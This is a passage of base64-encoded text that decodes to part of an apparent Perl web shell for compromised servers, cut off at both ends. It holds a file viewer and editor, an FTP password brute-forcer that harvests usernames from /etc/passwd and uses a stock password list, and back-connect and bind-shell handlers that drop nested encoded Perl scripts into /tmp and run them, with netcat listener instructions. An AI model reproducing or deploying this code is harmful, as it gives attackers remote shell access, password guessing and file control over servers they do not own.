dWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCg0KCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJkZpbGVPcGVuKCRGaWxlLDApKTsNCgkkcmVzdWx0IC49ICI8L3RleHRhcmVhPiI7DQoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZpbGUgT3Blbg0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIEZpbGVPcGVuKCQpew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJbXkgJGJpbmFyeSA9IHNoaWZ0Ow0KCW15ICRyZXN1bHQgPSAiIjsNCglteSAkbiA9ICIiOw0KCWlmKC1mICRmaWxlKXsNCgkJaWYob3BlbihGSUxFLCRmaWxlKSl7DQoJCQlpZigkYmluYXJ5KXsNCgkJCQliaW5tb2RlIEZJTEU7DQoJCQl9DQoJCQl3aGlsZSAoKCRuID0gcmVhZCBGSUxFLCAkZGF0YSwgMTAyNCkgIT0gMCkgew0KCQkJCSRyZXN1bHQgLj0gJGRhdGE7DQoJCQl9DQoJCQljbG9zZShGSUxFKTsNCgkJfQ0KCX1lbHNlDQoJew0KCQlyZXR1cm4gIk5vdCdzIGEgRmlsZSEiOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgU2F2ZSBGaWxlDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGUoJCkNCnsNCglteSAkRGF0YT0gc2hpZnQgOw0KCW15ICRGaWxlPSBzaGlmdDsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsNCglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkNCgl7DQoJCWJpbm1vZGUgRklMRTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJcmV0dXJuIDE7DQoJfWVsc2UNCgl7DQoJCXJldHVybiAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyIEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlckZvcm0NCnsNCglteSAkcmVzdWx0PSIiOw0KCSRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMzQ1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2RlZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCR1c2VybmFtZSBuZSAiIikNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCRpbnsnc2xlZXAnfSBuZSAiMCIpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pICogMTAwMCk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI2IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxMiIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJ2aW5ha2lkIj48L3RkPg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIFRlc3RpbmcgLi4uLg0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCglpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCn0NCnN1YiBGaWxlT3duZXIoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJcmV0dXJuICI/Pz8iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7DQoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7DQoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsNCgkJfQ0KCX0NCglyZXR1cm4gIj8/PyI7DQp9DQpzdWIgUGFyZW50Rm9sZGVyKCQpDQp7DQoJbXkgJHBhdGggPSBzaGlmdDsNCglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7DQoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOw0KCXJldHVybiAkcGF0aDsNCn0NCnN1YiBGaWxlUGVybXMoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICR1ciA9ICItIjsNCglteSAkdXcgPSAiLSI7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9DQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQ0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3Ow0KCQl9ZWxzZQ0KCQl7DQoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOw0KCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQl9DQoJfQ0KCXJldHVybiAiMDAwMCI7DQp9DQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIEZpbGVTaXplKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSkNCgl7DQoJCXJldHVybiAtcyAiJGZpbGUiOw0KCX0NCglyZXR1cm4gIjAiOw0KfQ0Kc3ViIFBhcnNlRmlsZVNpemUoJCkNCnsNCglteSAkc2l6ZSA9IHNoaWZ0Ow0KCWlmKCRzaXplIDw9IDEwMjQpDQoJew0KCQlyZXR1cm4gJHNpemUuICIgQiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBLQiI7DQoJCX0NCgkJZWxzZSANCgkJew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIE1CIjsNCgkJfQ0KCX0NCn0NCnN1YiB0cmltKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBBZGRTbGFzaGVzKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBUcmltU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cL1wvL1wvL2c7DQoJJHN0cmluZz1+IHMvXFxcXC9cXC9nOw0KCXJldHVybiAkc3RyaW5nOw0KfQ0Kc3ViIExpc3REaXINCnsNCglteSAkcGF0aCA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpci4kUGF0aFNlcCk7DQoJbXkgJHJlc3VsdCA9ICI8Zm9ybSBuYW1lPSdmJyBvblN1Ym1pdD1cIkVuY29kZXIoJ2QnKVwiIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2QnIG5hbWU9J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJlbnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7DQoJaWYoLWQgJHBhdGgpDQoJew0KCQlteSBAZm5hbWUgPSAoKTsNCgkJbXkgQGRuYW1lID0gKCk7DQoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkNCgkJew0KCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCQl7DQoJCQkJJGY9JHBhdGguJGZpbGU7DQoJCQkJaWYoLWQgJGYpDQoJCQkJew0KCQk